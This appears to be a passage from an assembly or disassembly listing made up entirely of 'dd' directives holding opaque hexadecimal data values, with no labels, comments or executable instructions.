		dd 0BA4A9BEDh, 5497148Ch, 0A10138CDh, 296DAFF3h, 9D61D0DBh
		dd 12CF4B00h, 9D9B7EBh,	0D5F80797h, 104E5F02h, 0C176DEC2h
		dd 4C1D3700h, 0D77EEADAh, 0B55000B9h, 617B2C05h, 41041CB4h
		dd 25862B14h, 0E0245AC3h, 0FDB1E95h, 64E35079h,	22A700DEh
		dd 5B9E1774h, 11243800h, 0A1578666h, 330A00D8h,	0F175A770h
		dd 3E0714AAh, 22CF9829h, 0B04705C5h, 0BB915637h, 0C1DBBF81h
		dd 0A3EA4F86h, 3CA41284h, 5307B4E1h, 36867A50h,	93742132h
		dd 476CCD18h, 0A688911h, 22B6CADAh, 1187031Ch, 11073F13h
		dd 409FD5AAh, 6818F26h,	3377A321h, 1702117Ah, 0C594719h
		dd 0ED9700CBh, 0B0216049h, 0B34932D6h, 17437904h, 20A50B59h
		dd 8FDE8C50h, 286C22h, 0AF7C9FBEh, 4CC72025h, 83E3633h
		dd 0D321A046h, 0B4D01810h, 963820B0h, 0B09FF83Ch, 0EBC410CBh
		dd 99430985h, 200F8AA4h, 1A5D6EC0h, 7F28C7DAh, 0D703A0F0h
		dd 4E45090Ch, 0D3FAE18Dh, 0C65678E0h, 89266B10h, 548EB200h
		dd 0A05EB4E2h, 0A5D23C72h, 0EB450F00h, 6BB284F6h, 97E79401h
		dd 68FC99D5h, 48F947D0h, 0C572158Ah, 40C4B0F0h,	0D2DBF88h
		dd 9801041Eh, 3BE7D65Ch, 0E3DDE559h, 20EBCFC4h,	401545B0h
		dd 1D988DD7h, 3AC04802h, 5964D17Bh, 3AB0A40Ah, 9628C8CAh
		dd 9AD51EFEh, 0B89B83F3h, 0A6A04356h, 5100651Fh, 5D0954CAh
		dd 0DA0EEE7h, 29ABFC73h, 94F9F0E8h, 659F9C01h, 596C04D5h
		dd 9802188Ch, 0A0C43D0h, 31B054D3h, 1E120756h, 0C16A0C9Ch
		dd 75F8BFCh, 0A7BCCE0h,	80B486Eh, 98112618h, 0E800EB44h
		dd 81F3328Eh, 3FBE57h, 0DCC75B88h, 0CCBC5489h, 16AAF3Ch
		dd 3258B5D6h, 0C9D0B0E3h, 3FCF3CABh, 5BB8E005h,	56D81BDh
		dd 4BE8D0C3h, 85ADCA01h, 7CDD5D52h, 0A91A60h, 0C3C4B182h
		dd 0ADB95FABh, 0B8588A13h, 0BC5E4602h, 3C3894A8h, 73CD1EEh
		dd 187AD215h, 0D0D5E3F1h, 85F0CAF9h, 60E5B0C2h,	0AD25E054h
		dd 0D262008Dh, 0F5E36A81h, 0B81D3EE8h, 0BC3985D7h, 0B3A91CF4h
		dd 5DB45C82h, 0A16881A8h, 7CE15E68h, 983941EFh,	1804BEE2h
		dd 108D94D5h, 5C1F0DA3h, 9383142Bh, 9002BB78h, 3562F8h
		dd 9E8BE28Ch, 0A1CA3E1Ah, 0A7B230C0h, 0C7880C4Ah, 81135418h
		dd 8387F92Ah, 0E8AA2B11h, 468AD971h, 28F825F8h,	3C2CC8F1h
		dd 0F38A1E2Dh, 0C60C8D9Eh, 0C8C8964h, 179E381Fh, 0A7742501h
		dd 5886473Dh, 895C8C0Dh, 51F3E06h, 19402CFEh, 0E82B55D8h
		dd 6840980Eh, 0D0E9AE59h, 0D80A7828h, 10582E53h, 9CC8EF94h
		dd 3BCFE477h, 601DBFF2h, 0E2496F0Ah, 0A8247A0Fh, 0A7A104E1h
		dd 1D21AC80h, 587F6050h, 966CA65h, 0A9CBE61Dh, 0E8740CE8h
		dd 0E48BAE24h, 34440B80h, 0EC1AB39Dh, 8FF81D69h, 24230A8Ah
		dd 3C8E1D0Ch, 80FC0E24h, 0B763308Dh, 0A975F8BCh, 29747D1Eh
		dd 0CD0664Ah, 8C09321Dh, 7314A2F2h, 2358808Fh, 0E3A36526h
		dd 0D688644Eh, 8FC86981h, 8C54B778h, 4EB8BC08h,	485BA702h
		dd 8CB0B8A3h, 1568803Fh, 0AF02197h, 0F8710CAAh,	0E004F865h
		dd 5CC2A8C0h, 484012C6h, 8F80885Dh, 0D913797h, 0A2DC22C1h
		dd 14158C99h, 8701E46Ah, 8C09D2CAh, 9869B108h, 901646D1h
		dd 0B0185142h, 0F22868E7h, 0C088ABE4h, 889353A4h, 54E06231h
		dd 3F642032h, 7E2D2984h, 28F10294h, 0E0A18AFBh,	237D3865h
		dd 858C220Ch, 98251580h, 51140C46h, 0C93F8CC2h,	55046D2Ch
		dd 880D2E0Ah, 28E03E66h, 42F48DAEh, 7752727Ch, 9C406594h
		dd 6F0BC841h, 28231951h, 8085A622h, 3099AF1Ah, 0A0983B0Ch
		dd 4C63CB8Ch, 21FE0C89h, 0D06550C5h, 0A8B93B24h, 8F4AF164h
		dd 9910E680h, 0DC280C8Ch, 6D498CFDh, 0CE23AA9Ch, 2A4F43D4h
		dd 0A0AF8C8Dh, 0A1B0E690h, 0A24E267h, 6592149Dh, 74886035h
		dd 61406A2Fh, 2C02F850h, 72F38A8Fh, 297E11E4h, 0ACACA837h
		dd 140F3143h, 0D8695979h, 937C3095h, 5D0B6558h,	7F2CE64Ch
		dd 0D78BDE88h, 372CE862h, 0E3694BC0h, 0D810C58Fh, 980EAB0h
		dd 35C8F216h, 5186B07h,	14F74478h, 0AB22DCA0h, 0D00D640Ch
		dd 9D618F5h, 0C2A94755h, 0EC7E4580h, 71CE1793h,	9C40908Fh
		dd 4C5A8964h, 7B119B3Ch, 51E4796Dh, 0FEC03CE8h,	2D2560B7h
		dd 8ED8AA8Dh, 0E2FC083Ch, 63F16827h, 874100D6h,	0FC006184h
		dd 0EAB4D5DBh, 3E62E8E4h, 3A0796D6h, 0C27ADEE3h, 1483A7E7h
		dd 0E2E059D2h, 214C8DCBh, 2B280963h, 264C166Bh,	84C22F9h
		dd 0BE839C98h, 723AD899h, 2E7F2438h, 0A7750FBCh, 0C089h
		dd 853B440Dh, 59175492h, 640880DCh, 0A65C406Dh,	2053F35Bh
		dd 8E4C8420h, 77215760h, 0C5CEAB02h, 0B0CD8DF3h, 4C7EA5B8h
		dd 0B8B48AAh, 0F9CC84h,	0B6FA1456h, 94AB00E6h, 0BC5ED4ECh
		dd 320953B4h, 0A08A30F3h, 63D2AE34h, 0D674017Eh, 0EE0D0C84h
		dd 34A3D183h, 0D9004B2Ch, 7E377363h, 12FA2567h,	6E0E62Ch
		dd 0B8149588h, 1823711Dh, 2840B493h, 25999DF6h,	62E0F883h
		dd 0E28F1801h, 6286AB40h, 0D8D6F833h, 0CB9DD052h, 0D48B4CB7h
		dd 0E0D06D80h, 0E58E98Fh, 4A3E0C88h, 88E1A4h, 9DACA80h
		dd 292E89CDh, 219D09CDh, 0CAD8CCh, 31E755DDh, 0BBD243E1h
		dd 8DD3AA02h, 809157D0h
		dd 583501F4h, 0D34090AFh, 0D6540292h, 0A46829D5h, 2500DA12h
		dd 0ECF4A363h, 0CDE4AB8Ah, 0C8211408h, 2A0025F1h, 8B112BDh
		dd 284B8029h, 54A37Fh, 0B2E71FAEh, 0A2AA0D21h, 44D0BC00h
		dd 654F0BD4h, 2FA315C0h, 7B2CB099h, 97CD0373h, 0C7ABBE5Fh
		dd 0EF2F5ED8h, 0A3875401h, 0F8D20846h, 0CA11B030h, 3FA81746h
		dd 66B02980h, 2FF3282Dh, 0B780A894h, 0BDE9ED5Eh, 24E13869h
		dd 67D9760Ah, 922600A8h, 8DB7C690h, 0D6819163h,	43D90018h
		dd 19049EA0h, 0B47876D4h, 0D9673D00h, 78B7309Ch, 311C187Dh
		dd 0D350697Fh, 0A264A00h, 220DD73Fh, 0DD2700C1h, 7FC60EA4h
		dd 0B9249772h, 0C5426C0Ch, 0F2C80C8Ah, 0D1014093h, 5E747F63h
		dd 4C889918h, 116314D8h, 8414A732h, 0BA00DCA1h,	6F10550Ch
		dd 0F24C61FAh, 989D1F2Dh, 0DADC7200h, 1C5B3D80h, 808831AEh
		dd 6D5795C7h, 8E02CF93h, 151C09E2h, 0C4A4802Ah,	0A559BF0h
		dd 8BB6F2F4h, 0CA420ACh, 0C6599773h, 0E13AE0C0h, 3945471h
		dd 0F1581D12h, 25D8C009h, 0B0019064h, 5EEC1EAEh, 740B5C21h
		dd 0ABC4A388h, 38225F80h, 0CBA000BFh, 0CDF40531h, 0E70956F3h
		dd 20548DEEh, 0B8529E8h, 1F720CB0h, 0AAA8F4B1h,	2AD6E511h
		dd 0DF935800h, 69026E19h, 21C41601h, 0C608C02Bh, 49437C20h
		dd 66005891h, 2FFCCEE7h, 0CA7C942Eh, 18A91B12h,	0C43A3425h
		dd 4D009F23h, 43A3E6FCh, 6B10B4A5h, 0F2657402h,	851D7F21h
		dd 0C381218Fh, 0D86CD4C0h, 0C693572h, 6B180F59h, 0C1AC20A0h
		dd 5E0CEh, 2F0FEB3Ah, 9DE181F4h, 0D369E18h, 5C3BA69h, 657F47A5h
		dd 7BD4C221h, 0D9822520h, 9E72000Ch, 1E24FA26h,	94FECF57h
		dd 0B4BF9906h, 30790A38h, 0C9511931h, 0B87675B2h, 40D29C0Fh
		dd 0DE00BFCCh, 0EF641B0Fh, 0F1C4A080h, 0C44082F3h, 7180A040h
		dd 8B614C8Fh, 5A29250Fh, 0F604A560h, 9C24A33Eh,	0DF1114ECh
		dd 9263CE80h, 448CB674h, 0D600B7A1h, 37C41463h,	793D433h
		dd 73D9EAF0h, 8BE0B2F9h, 0BD4C1C78h, 1D5236Ch, 0A36225DBh
		dd 881718DCh, 8FA0F2E9h, 671EAE08h, 8ABE3633h, 0D047A77Eh
		dd 8CDB2980h, 18E288F0h, 19B24366h, 4C011607h, 206D93C0h
		dd 34D45E1Ch, 12817DFh,	0D9B60FA6h, 0F79673A0h,	0C800B158h
		dd 0D471EE8Dh, 0F0E53B52h, 2E740587h, 407A2F84h, 6217E684h
		dd 0FC009CBFh, 380A500Eh, 0EC917082h, 24D6714Ch, 564E9CEh
		dd 93BC7D21h, 41D630DCh, 3E090E61h, 85F5F262h, 60301030h
		dd 223819F6h, 0C91F7739h, 0F2115BAEh, 0E36DED0Fh, 9E892686h
		dd 24901B74h, 0BDA6312h, 23D54831h, 0BB7C9C50h,	2964019Eh
		dd 33080772h, 434820DBh, 0A690B454h, 81C52138h,	44260375h
		dd 60C4AA97h, 319D00B1h, 7BCC40Eh, 34A05021h, 1963D5E9h
		dd 0E0FA3161h, 1C43588Ah, 8057845Ch, 0D1100ADEh, 0E709E968h
		dd 2075ECFFh, 21D26614h, 73170026h, 6F7289E0h, 9894E92Dh
		dd 0C48AAE00h, 90CF3E79h, 2989010h, 73E5AB59h, 6450656Fh
		dd 0E0437109h, 0D6008211h, 93ECD92Eh, 0DA1C30CEh, 5001FD78h
		dd 38133627h, 0DC26AAF9h, 30CFC824h, 0FCDF3139h, 4292F200h
		dd 4A0502A6h, 8F49C0B6h, 838D6140h, 0B73CCC00h,	1335E0FEh
		dd 6C893D0Bh, 497FC13Fh, 9D0C58A3h, 0D8911028h,	88FC3B4Ch
		dd 0C465036Ah, 1FA8EC66h, 164A551Dh, 463DE00Eh,	391830h
		dd 0B231F76Bh, 4429127Fh, 0F9FE2A00h, 62885A50h, 307B6059h
		dd 0DA64F7B7h, 0CBE8C650h, 930BF098h, 948DB6ECh, 7A10158h
		dd 9BFC236Bh, 217874B3h, 0F29C2700h, 9D4DB052h,	399F6024h
		dd 6C37190Fh, 0DA0B48B8h, 0A27C8B91h, 58A5D594h, 0D8D08154h
		dd 0E00AE026h, 2C846525h, 0F7F2704Ch, 0CB1F2500h, 2F1C87BDh
		dd 0DC44180Ch, 216D5807h, 74E26012h, 74905C26h,	0CFE180E6h
		dd 176329FCh, 0F89B2611h, 2D81AA3Fh, 5EFED2F8h,	0DF924800h
		dd 1D85E11h, 0FC86146h,	74B18F21h, 10200DACh, 0AA8705A7h
		dd 90153520h, 267ED8A0h, 0A8625494h, 0A665049Ch, 9D3A0668h
		dd 70890B21h, 0C450988Fh, 0C830CD60h, 0B30979F0h, 20D968B5h
		dd 62657E00h, 0F5302AF8h, 3AAF0FCCh, 0BD4156BEh, 39D5F127h
		dd 8AE500A4h, 0EA7468F9h, 0D06F2459h, 0BD3143ECh, 9E16610Eh
		dd 2419A115h, 0E9F06295h, 65473992h, 5DB6B581h,	209CD712h
		dd 32057304h, 9C7A3C8h,	91001C8Ah, 70778F6Ah, 0E3002235h
		dd 0B14DD1D8h, 401C2B55h, 7D2097ECh, 2AA708E9h,	0D6169F91h
		dd 0A43F78D0h, 2D5E009Ah, 3A15C8BAh, 0F30C4B4Eh, 38F5E997h
		dd 78930ADAh, 1494FB5Ch, 0E180B44Ah, 6497D2ACh,	80803158h
		dd 0B63EA596h, 0B28200D1h, 0CBA1504Dh, 4676864Eh, 1D92C60Bh
		dd 7CE86831h, 0CEE400BDh, 225CA2B1h, 0C31751CAh, 0A40091C6h
		dd 783DEA0Bh, 80904863h, 0CFAAF302h, 1082A786h,	14F0D11Ch
		dd 42C820F7h, 0C4F45B51h, 0A1607ABFh, 3FBB66A9h, 0FE490DDh
		dd 673A480Ch, 94C3498Eh, 4001FC7Ch, 3C096B73h, 1181FE9Ch
		dd 351FAE72h, 8020692Ah, 0D06589B7h, 0B65A07h, 3EBFD490h
		dd 29090BD9h, 52A39DC5h, 8938304Ch, 73309390h, 0F8BAEF04h
		dd 2883742Dh, 0D11895A9h, 7E5AE820h, 20D55315h,	0BB04D0C2h
		dd 712C531Ah, 0AF7DF01Ah, 30D58D12h, 6FC8D020h,	8FC70069h
		dd 67A40E01h, 0CAE807A9h, 66D921C1h, 3DDCFD69h,	590B28C4h
		dd 40292690h, 6CC18038h, 5585AFB7h, 0ADC3C700h,	86972B9Bh
		dd 95C57808h, 9FE86CA3h, 6AB6D7C0h, 5BD2C705h, 1473325Fh
		dd 0ACC6C1BAh, 3E7B30BBh, 0D73C0681h, 0B50058A0h, 863FBD55h
		dd 1ADCE5Eh, 0C2FD8EF6h, 83BE5BB4h, 0D3C36A90h,	301848F7h
		dd 0A9B55E01h, 0FDBE5A82h, 2880B3B2h, 69D4A057h, 0CB97451h
		dd 0D3B6F987h, 0D77ABF78h, 85C31C7h, 29B7596Ch,	0A60CB8D5h
		dd 6B294F60h, 0C200D05Ah, 0C6F981D2h, 2C545CC3h, 6074D6BDh
		dd 794C6F0Bh, 0E105C0B4h, 4B2A00Ah, 0E7340C52h,	1E64E331h
		dd 4640AFE5h, 39681123h, 7E4D090Eh, 0F0321349h,	2CBE9459h
		dd 0B011857h, 81ED0DE1h, 0C10869D0h, 0C717E5B9h, 0E0D83020h
		dd 67F82DF0h, 0FC044E5Bh, 8B1D2AA2h, 0A840E7ABh, 3180E5B1h
		dd 68A1CAC3h, 298A0818h, 87ED0E06h, 26244268h, 0D941BC30h
		dd 199848D4h, 8DA759B2h, 8B0911F1h, 0E28C2F01h,	0CC840A4h
		dd 192D28BEh, 0B88DB229h, 2F59840Ch, 0D60A28CAh, 4C4341A8h
		dd 2A308CF2h, 1293511Dh, 41866C8h, 906E4AA8h, 0EC23A384h
		dd 59E822Dh, 0D06241BCh, 7D3818A1h, 1825708Ch, 3078DF77h
		dd 69DDE530h, 194BC104h, 817F814h, 0D818171Dh, 8C104F84h
		dd 0FC4C9C98h, 751FCB80h, 30C41E59h, 0D0A0BA30h, 434CAA8Bh
		dd 70B15F4Ch, 8B695994h, 39BE8A41h, 1C351879h, 80D6316Dh
		dd 2928909Ah, 6C904C7Dh, 0A4DCB1D7h, 6DA72237h,	63B9A960h
		dd 0A4C1C894h, 85227CA4h, 34491767h, 3BB8C474h,	84052CB9h
		dd 0F3E25C42h, 8CEEF118h, 0B1C0D14h, 42043E28h,	2C11C2ADh
		dd 0D21D841Ah, 46841A28h, 0F7A1A154h, 2184770Ah, 0F9F8A87Ch
		dd 161085BDh, 21D4A488h, 0B944C271h, 835CC22h, 0CE51C895h
		dd 0A743F408h, 18F4F1F1h, 909D231h, 6CA20D5Ch, 6065230Ah
		dd 34425513h, 44C48964h, 46211360h, 82B09430h, 2804A78Ch
		dd 8F510140h, 9D64F3A6h, 734C2758h, 0CE623209h,	4A7EC78h
		dd 50A1402Ah, 0A45969E2h, 0B0A2908h, 89AE8C4Ch,	0ADF42849h
		dd 0A4249E2Fh, 38C81FF4h, 323CAED5h, 0B5404F8Bh, 74356B20h
		dd 2FE89177h
		dd 0A81B18B2h, 63CB410Dh, 0F3E02121h, 48A49372h, 510B0438h
		dd 79A4A4D6h, 48BA1100h, 8A42A7A9h, 0F4B5541Fh,	268F70E0h
		dd 0F148307h, 576C68ABh, 727FBA58h, 0D8B052h, 0AED1AD29h
		dd 3A21828Dh, 6F921894h, 0C0905F81h, 0F2AA8E4Bh, 1F14730Dh
		dd 0C19E9h, 9ADA6ADDh, 3A2BAB57h, 56006B99h, 0C9713AB2h
		dd 300E72AAh, 4B7D9D0Ah, 0D7A49022h, 91D30F84h,	0B4E9B023h
		dd 0A2408080h, 8BE4288Fh, 0CA60B0C0h, 7E300CCEh, 7D189049h
		dd 802074B8h, 2100D96Dh, 0A90EB901h, 13A36ECFh,	0F26405h
		dd 9B468794h, 400010B7h, 0C1AFF8F7h, 6525C2h, 0B828B35Fh
		dd 6996C5CBh, 7B4CD5Ch,	2402CC5Ah, 9AA61B80h, 0BF1E007Bh
		dd 0B5CDF0D3h, 5F72B428h, 0CBB03E00h, 0C6B92208h, 82963AB7h
		dd 0C728BC33h, 0D06A100Fh, 1AAE80B4h, 1E823CC1h, 8321B55Fh
		dd 67D8081Bh, 6AE0C9C3h, 0D33CC0CBh, 28B81E5Eh,	0D7BEC801h
		dd 0B6DD015Bh, 5F04B8A3h, 24C5CC70h, 3AB41A5Eh,	0EBA0102h
		dd 18943FB5h, 29503718h, 0AA7A10h, 2A6C18DFh, 0CFD9B8F5h
		dd 402E521Fh, 18BCFB4Ch, 2194001Bh, 0B1E281EFh,	15603F5Ah
		dd 0F9D23B59h, 3AC400B2h, 2FFFB5D7h, 0B00631Dh,	95B4138Ah
		dd 775F8B1h, 8FA5611Bh,	0FA298010h, 0DB01E50Ah,	25B495AEh
		dd 6ADCE48Eh, 7A159833h, 0C7CD0014h, 0F33B3D2Ch, 9C376428h
		dd 0BA811863h, 7081C962h, 8A3C472Bh, 0C68183FEh, 77BFB8B6h
		dd 11C4CFE9h, 313E1D7Eh, 0E88376F8h, 9101A59h, 0C587A399h
		dd 0EA4291B8h, 1C031E72h, 8207034Ch, 921DE3C0h,	2A492818h
		dd 28C00968h, 318CB246h, 34687DC7h, 69F89551h, 241B1EBCh
		dd 408475CDh, 80710BF0h, 1DF2FF8Dh, 6B5F7D1Eh, 0B6B14E18h
		dd 649F2B19h, 0E083828Ch, 603C7F62h, 2872807Eh,	0B515F1AFh
		dd 7CF84810h, 5131D000h, 379E2162h, 0E598A83Dh,	89BF0067h
		dd 8A8BE3CAh, 0DF89815h, 481489CAh, 9E2AB10Fh, 0D0E72CA4h
		dd 0C6641589h, 0CA0F0920h, 809C7651h, 0F05AA68Ch, 0DA2E00F8h
		dd 3ED45EFBh, 800CCB8h,	0C3D05F26h, 0F0C2B028h,	1678B3D9h
		dd 0C3501CCEh, 0C7F13CB5h, 30D496E0h, 5B00D774h, 9AD3C4D0h
		dd 539F9D62h, 0AB0044F4h, 0C8310D58h, 1E56B7CAh, 9340F04h
		dd 0CA99CC9h, 7F0F08A0h, 913EC7C6h, 85301129h, 4F27FA7Ch
		dd 24880E08h, 20C08C6Fh, 44A0A7C4h, 0C4500A3Eh,	538CF4BFh
		dd 5432089Ah, 2C250F09h, 0CE9CE07Ch, 1094A861h,	5224CEA2h
		dd 9111FE4Fh, 70109F08h, 40507040h, 9C9BC069h, 50B2157Ch
		dd 0D385C4F9h, 18C645Fh, 5AFC7C50h, 0A428A9F2h,	27092E19h
		dd 25242412h, 23912A48h, 22B5A010h, 9FA644A1h, 9D129C89h
		dd 9B48A224h, 19491899h, 199E0999h, 0E3141317h,	0C8D88818h
		dd 0DA2B0A89h, 8CECD4AEh, 0DB83D0Fh, 239484A5h,	0ECC5BA04h
		dd 0C8080AB5h, 0C1D601BCh, 0F07B2859h, 0E1F8D83Fh, 0B70799F8h
		dd 9503D50Fh, 3D293AC0h, 783774C2h, 7CBF780Bh, 78E77C33h
		dd 2340C81Bh, 10FD9508h, 3D818B9h, 0F029C570h, 6B084A5Fh
		dd 443FF48h, 3CC9AAFFh,	88808859h, 84C55E2Fh, 0F0D04509h
		dd 38A51136h, 81A7258h,	3F80C6BEh, 0B7299F01h, 9919EC8h
		dd 0B18419Dh, 0E0AEFA04h, 0C478Dh, 0B767E939h, 0A55C199Dh
		dd 548E10A0h, 0D7038A5h, 9E710168h, 8B31647Fh, 1523F063h
		dd 0C5B918C0h, 0E9AB2BDh, 1B14CB0Fh, 0E53E1C54h, 68976E00h
		dd 3CF0F463h, 0BD5E28A4h, 2003E4A7h, 3FCEF1E4h,	0F837280Ch
		dd 0FF3019h, 2FCFC3E3h,	19EE161h, 7CD9E400h, 0B4265B3Fh
		dd 0F1D707C1h, 50C21E7Bh, 0F7BE1A81h, 0BDFD1000h, 0C5CBAFD3h
		dd 0CDB300C1h, 1AAE3FBAh, 7D7CB5E9h, 6528C907h,	6340C52Ch
		dd 0D3C7C6h, 0D2E33FCFh, 22C92164h, 4029B830h, 61B4CC67h
		dd 0D4C274D3h, 0F0404969h, 0D1EA295Eh, 27FEB30Eh, 0C5C381F2h
		dd 304DB422h, 25BB9882h, 1C981A5Eh, 3C20C927h, 0CDB603B5h
		dd 5F22C2D0h, 609ABCA2h, 3D62EC15h, 0A420FD5Fh,	5DFBFE0Ch
		dd 18B7362Bh, 80A4D9AFh, 1A4E4B0h, 5E2B0FB7h, 0BB1E2C3Fh
		dd 0FC4B454h, 800D9E21h, 0CC01ACAAh, 7C38A625h,	21300B5h
		dd 0BBC3A1AAh, 4AE9AFD8h, 3A404714h, 80AAB83Fh,	6A39E313h
		dd 143AC91Dh, 0F8BED0ADh, 0EB7C102h, 9C650BA3h,	87C9605Dh
		dd 0F300D42Ch, 0C55B2D7Bh, 53F84h, 0B1CCAD29h, 0BD1A6521h
		dd 13133498h, 5D28C4h, 28305E1Eh, 49B75B11h, 0D0098AAh
		dd 0E1FA386Ah, 0BE131BACh, 4002633Fh, 405AAD21h, 78CDF3A8h
		dd 20684CCCh, 0A93B6C94h, 24C1367Ch, 74AC5008h,	9AE7F719h
		dd 1C721191h, 0E70DA0EBh, 0C15A00D6h, 2BF122BBh, 0AF4AD2B8h
		dd 29B298ACh, 0D2085840h, 0BAC65E16h, 1D01540Fh, 0D0035C93h
		dd 0C003B421h, 0C4C4B03Bh, 0C0CA5D40h, 0C0CCF0C0h, 5F64D706h
		dd 0C00825B1h, 0A61A6210h, 1B2CAF9Ah, 0C60B9EBDh, 1E7002B7h
		dd 8FC61B4h, 906096E0h,	0B83B18A0h, 0C76410CBh,	0C68260C4h
		dd 5F65AC80h, 883F69B4h, 40D80C55h, 0D0671D96h,	0C8AF1BB5h
		dd 0AAC481C3h, 5F60D4D6h, 9294E5F1h, 3FAB3FA0h,	0F852AAD0h
		dd 0D3B80F9Dh, 0D4B05F0Bh, 0B00B299Bh, 191CF0D2h, 23E0FC60h
		dd 0B4390EC9h, 0E4DCB75Fh, 1E57E9B8h, 1CB74CB0h, 7484B84Ah
		dd 1A613D01h, 36AE96C2h, 0D0300BF3h, 7C0B3EB4h,	2E470FEh
		dd 0B0BF0CF6h, 59D3D70Dh, 2C75C4ADh, 16B4C3C1h,	5FE4701Ah
		dd 0C99D7C7h, 98021E96h, 0C1C4CF63h, 43D21ADCh,	0F828A6D8h
		dd 0C4C558CCh, 5F1C0692h, 0B72C09C9h, 0E429C425h, 0CC50994Fh
		dd 3965C064h, 20DC3E9Dh, 0CA69AF0Eh, 69B4189Fh,	0D9F8D064h
		dd 0B75C5C74h, 5E258520h, 3C212C2Dh, 0CC8039F3h, 65ED713h
		dd 0F86A0F34h, 0D0AD9603h, 0E66426BDh, 809B62B0h, 1892B3C7h
		dd 0EB385040h, 0C6FB55Fh, 0CC1480AEh, 0B630ACFCh, 62024F84h
		dd 9E1EC437h, 7918217Ch, 0B4C864D0h, 1A62F305h,	50A322C2h
		dd 0C5002DE8h, 0B4CAB8C1h, 2E3869D2h, 8164C6C2h, 0C31A5D3Fh
		dd 0B31855D3h, 0F15044F8h, 0DFD7FF00h, 28BDFBF0h, 2520B86Ah
		dd 0F0D6B925h, 0E1B01B89h, 0B8D0C744h, 24C24FD0h, 0D4F33Ch
		dd 0CBB3F528h, 633BE5h,	5B25BEC6h, 653CC5C2h, 58C095Ch
		dd 3ACE1EB8h, 0EBE990C3h, 27E5A1D7h, 71508005h,	21DFC1C7h
		dd 0CD650EC0h, 2764D1C9h, 50A4BBC6h, 0CC8B6D3h,	68CF89B6h
		dd 5CFC2E7Eh, 801E14E0h, 76345E29h, 0EC0BCD4Bh,	8550EE64h
		dd 0BBC3F034h, 9070215Fh, 4AC21ED8h, 0F72C03D2h, 0F3A02680h
		dd 0BB04CD5Eh, 0C029F128h, 0D3C00097h, 3ABECB68h, 0C128ADD7h
		dd 5F4EC8h, 1711B830h, 1274626Eh, 1D6AD703h, 0F6540AAh
		dd 0C4F3910h, 0FD98B601h, 1B94D0ADh, 463A40F8h,	4F6F8C4Dh
		dd 75742019h, 77451E25h, 496E400Ch, 503A6517h, 6A0C1274h
		dd 81B1646h, 77B77CADh,	64191E77h, 6E18FE73h, 68952875h
		dd 893EF67Bh, 45140046h, 6E0D20B8h, 6920C04Ch, 76172160h
		dd 0E017574h, 184D4A40h, 0A8D0736Fh, 1F4F1D44h,	6ED801AAh
		dd 0F1958DB4h, 1846F0A9h, 0B87D1706h, 0F038A56Ch, 73B70719h
		dd 0C76B1316h, 889B5FFDh, 1B4944E8h, 9677B7E8h,	403B1333h
		dd 1997C011h, 4D740214h, 69B6D31Ch, 45758080h, 0CC00D112h
		dd 41140CACh, 30A80E44h, 6960B83Ah, 45E86D49h, 0FDF1737Ch
		dd 4228868Ah, 41E90FB8h, 5890D621h, 0AD06D9D7h,	0AED5D684h
		dd 0FC863008h, 0D1264648h, 150EB675h, 7DB8440Eh, 164C4741h
		dd 0A6E775A8h, 540CF888h
		dd 3A4778A6h, 44051322h, 169A917h, 63B6A5E4h, 433BE416h
		dd 6CE80E66h, 4F6E3DC0h, 89D6AA9Ah, 49F70417h, 4469B400h
		dd 73E6A620h, 6D9C0900h, 4B85124Ah, 76933014h, 882A4231h
		dd 0A5D46C00h, 0E0CB86B9h, 0CE080067h, 0E30AEFBFh, 0FE17534Dh
		dd 16039A69h, 98AEE641h, 184B8Ah, 98877C2Bh, 256B20Ch
		dd 1207E103h, 98783EC8h, 0C6E22D9h, 724F1B53h, 1800AD40h
		dd 0EFFC699Eh, 63672116h, 9B68888h, 587BC1E3h, 4BFB3B00h
		dd 38A8D399h, 2C80065Ch, 20ABAA42h, 4045D602h, 9C2063B4h
		dd 0E86E1020h, 0A3E3CE98h, 3F63B3ECh, 1B80AA78h, 3F10184Ch
		dd 60C4AC67h, 4446A8C6h, 0B422C836h, 3C217437h,	2AFE6566h
		dd 0B4D8FFh, 2898CA2Ch,	0DA83AFC2h, 8057D14h, 1476C81Ch
		dd 0F180D0E5h, 7AD13331h, 81DAC800h, 322F5EA0h,	0A59800E6h
		dd 72FDAAAFh, 0CD408D5Ch, 14B80084h, 0BF4879E2h, 0BCA37556h
		dd 0D06685C8h, 4D59B160h, 381139Ch, 0D5AAC8B6h,	830C92Eh
		dd 0B46D214Ah, 31741F13h, 4F7980BFh, 0A250F64Dh, 69A58E30h
		dd 7E0495h, 9CF7E3ABh, 648AE9C1h, 39E02705h, 98011029h
		dd 0AF2DF1B3h, 0EC049444h, 1940759Bh, 69EA56CEh, 84C8A063h
		dd 0B7FDA13Ah, 80E6B095h, 62D29284h, 0A71C9955h, 0B4B0FE02h
		dd 38C2B17h, 9859FCB7h,	0E3887E3Dh, 0BC2920EAh,	7F03F071h
		dd 0AB58A6h, 2290B379h,	5AD1E318h, 8269312h, 0A421542Ah
		dd 0BA49AE98h, 233EEE1h, 0E6CF8A3Fh, 1CB19D09h,	0E43C02A6h
		dd 0B948A180h, 0F114B41Ch, 3A4B145h, 8CFED86Ch,	0B63103CAh
		dd 4D9DEC80h, 558851E8h, 9C089465h, 0EC67D420h,	873600DBh
		dd 6E139132h, 0A931F9B4h, 0A4ED508Bh, 0C9CB9C50h, 51B80088h
		dd 45D96E8Dh, 0DA1DB6A2h, 4A8028C1h, 254381C3h,	0EEED0F2Dh
		dd 87EAA9ECh, 4BAA80D4h, 0F944B901h, 0EC90B049h, 31DCAE43h
		dd 63C9A68Dh, 0F947ECE4h, 0A2CD5A00h, 0D37F4BD0h, 6B200328h
		dd 3F4F2185h, 2D7A6000h, 8058C91Fh, 0D7191414h,	0D011CCF6h
		dd 0ED9F0042h, 272BAF12h, 6A79004Ah, 858FA8F2h,	8C3F1B46h
		dd 48E09856h, 56D86DA0h, 7E02B8FCh, 7C4D9FECh, 93109B31h
		dd 1900EC65h, 0B74F9F71h, 14B43426h, 8CA6B904h,	20865EACh
		dd 303E35E8h, 789E2432h, 0E5A28828h, 0C14588BCh, 9711200Eh
		dd 0AD4E80D1h, 0ABD5EEB9h, 480AB0C4h, 192F0172h, 7158CA69h
		dd 80C1D168h, 48029421h, 0A24D8E0h, 33D05AFAh, 0E1A180ACh
		dd 3F2E9F4h, 8E99983Dh,	0E97964BBh, 0FF5C049Fh,	0A2EC7B60h
		dd 11444D23h, 820679B1h, 15438BECh, 323F775Ah, 3D70C966h
		dd 0C1FBB820h, 0AB7F001Eh, 0B195CEA0h, 18E2D3E8h, 0A5228C0Bh
